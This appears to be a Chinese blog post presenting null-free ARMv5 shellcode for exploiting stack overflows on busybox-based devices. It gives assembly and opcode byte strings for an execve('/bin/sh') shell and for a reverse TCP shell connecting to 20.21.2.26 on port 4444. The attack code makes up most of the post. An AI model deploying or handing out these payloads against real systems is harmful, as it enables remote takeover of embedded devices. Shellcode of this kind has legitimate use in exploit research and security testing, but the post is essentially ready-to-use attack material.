Armv5_shellcode

Armv5_shellcode

背景:

​ 由于在pwntools生成的shellcode默认Armv7语法无法在Armv5指令集芯片下执行,所以写了以下shellcode便于漏洞的利用,此shellcode为Armv5上亲测可使用且无NULL byte,此shellcode主要是对栈进行了操作,未对代码段与数据段进行修改。

适用场景:

​ 1.目标适用busybox

​ 2.有栈溢出或者其他可以劫持程序流程漏洞

​ 3.内存中布置好此段shellcode,且能执行

适用busybox
/*
#execve("/bin/sh",["/bin/sh"],NULL)
#Date:2022-4-14
#Author:doudoudedi
#Text:F1C200s
*/
.section .text
.global _start

_start:
	.ARM
	eor r4,r4,r4
	strb r4,[sp,#-14]
	mov r7,#0x68
	strb r7,[sp,#-0x15]
	mov r7,#0x73
	strb r7,[sp,#-0x16]
	mov r7,#0x2f
	strb r7,[sp,#-0x17]
	mov r7,#0x6e
	strb r7,[sp,#-0x18]
	mov r7,#0x69
	strb r7,[sp,#-0x19]
	mov r7,#0x62
	strb r7,[sp,#-0x1a]
	mov r7,#0x2f
	strb r7,[sp,#-0x1b]
	add r4,sp,#-0x1b
	add r3,pc,#1
	bx  r3
	.THUMB
	mov r0,r4
	push {r0,r1}
	mov r1,sp
	mov r2,#1
	sub r2,r2,#1
	mov r7,#0xb
	svc #1
/*
opcode
"\x04\x40\x24\xe0\x0e\x40\x4d\xe5\x68\x70\xa0\xe3\x15\x70\x4d\xe5\x73\x70\xa0\xe3\x16\x70\x4d\xe5\x2f\x70\xa0\xe3\x17\x70\x4d\xe5\x6e\x70\xa0\xe3\x18\x70\x4d\xe5\x69\x70\xa0\xe3\x19\x70\x4d\xe5\x62\x70\xa0\xe3\x1a\x70\x4d\xe5\x2f\x70\xa0\xe3\x1b\x70\x4d\xe5\x1b\x40\x4d\xe2\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x20\x1c\x03\xb4\x69\x46\x01\x22\x01\x3a\x0b\x27\x01\xdf\xc0\x46"
*/
Reverse Shell TCP(Armv5)

Armv5反弹shell,注意第二个参数需要时/bin/sh地址的指针数组,且数组第二个为空或者有效地址。

/*
#reverse_ip=20.21.2.26,port=4444
#Date:2022-4-15
#Author:doudoudedi
#Text:F1C200s

.section .text
.global _start

_start:
	.ARM
	eor r4,r4,r4
	mov r7,#0x14
	strb r7,[sp,#-0x28]
	mov r7,#0x15
	strb r7,[sp,#-0x27]
	mov r7,#0x2
	strb r7,[sp,#-0x26]
	mov r7,#0x1a
	strb r7,[sp,#-0x25]
	mov r7,#2
	strb r7,[sp,#-0x2c]
	strb r4,[sp,#-0x2b]
	mov r7,#0x11
	strb r7,[sp,#-0x2a]
	mov r7,#0x5c
	strb r7,[sp,#-0x29]
	strb r4,[sp,#-0x14]
	mov r7,#0x68
	strb r7,[sp,#-0x15]
	mov r7,#0x73
	strb r7,[sp,#-0x16]
	mov r7,#0x2f
	strb r7,[sp,#-0x17]
	mov r7,#0x6e
	strb r7,[sp,#-0x18]
	mov r7,#0x69
	strb r7,[sp,#-0x19]
	mov r7,#0x62
	strb r7,[sp,#-0x1a]
	mov r7,#0x2f
	strb r7,[sp,#-0x1b]
	add r4,sp,#-0x1b
	add r5,sp,#-0x2c
	add r3,pc,#1
	bx  r3
	.THUMB
	mov r0,#2
	mov r1,#1
	eor r2,r2,r2
	mov r7,#200
	add r7,r7,#81
	svc #1
	mov r6,r0
	mov r1,r5
	mov r2,#0x10
	add r7,r7,#2
	svc #1
	mov r0,r6
	eor r1,r1,r1
	mov r7,#63
	svc #1
	mov r0,r6
	add r1,r1,#1
	svc #1
	mov r0,r6
	add r1,r1,#1
	svc #1
	mov r0,r4
	eor r1,r1,r1
	eor r2,r2,r2
	push {r0,r1}
	mov r1,sp
	mov r7,#0xb
	svc #1
opcode:
shellcode="\x04\x40\x24\xe0\x14\x70\xa0\xe3\x28\x70\x4d\xe5\x15\x70\xa0\xe3\x27\x70\x4d\xe5\x02\x70\xa0\xe3\x26\x70\x4d\xe5\x1a\x70\xa0\xe3\x25\x70\x4d\xe5\x02\x70\xa0\xe3\x2c\x70\x4d\xe5\x2b\x40\x4d\xe5\x11\x70\xa0\xe3\x2a\x70\x4d\xe5\x5c\x70\xa0\xe3\x29\x70\x4d\xe5\x14\x40\x4d\xe5\x68\x70\xa0\xe3\x15\x70\x4d\xe5\x73\x70\xa0\xe3\x16\x70\x4d\xe5\x2f\x70\xa0\xe3\x17\x70\x4d\xe5\x6e\x70\xa0\xe3\x18\x70\x4d\xe5\x69\x70\xa0\xe3\x19\x70\x4d\xe5\x62\x70\xa0\xe3\x1a\x70\x4d\xe5\x2f\x70\xa0\xe3\x1b\x70\x4d\xe5\x1b\x40\x4d\xe2\x2c\x50\x4d\xe2\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x01\xdf\x06\x1c\x29\x1c\x10\x22\x02\x37\x01\xdf\x30\x1c\x49\x40\x3f\x27\x01\xdf\x30\x1c\x01\x31\x01\xdf\x30\x1c\x01\x31\x01\xdf\x20\x1c\x49\x40\x52\x40\x03\xb4\x69\x46\x0b\x27\x01\xdf"
*/

以上脚本都可以优化欢迎优化

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值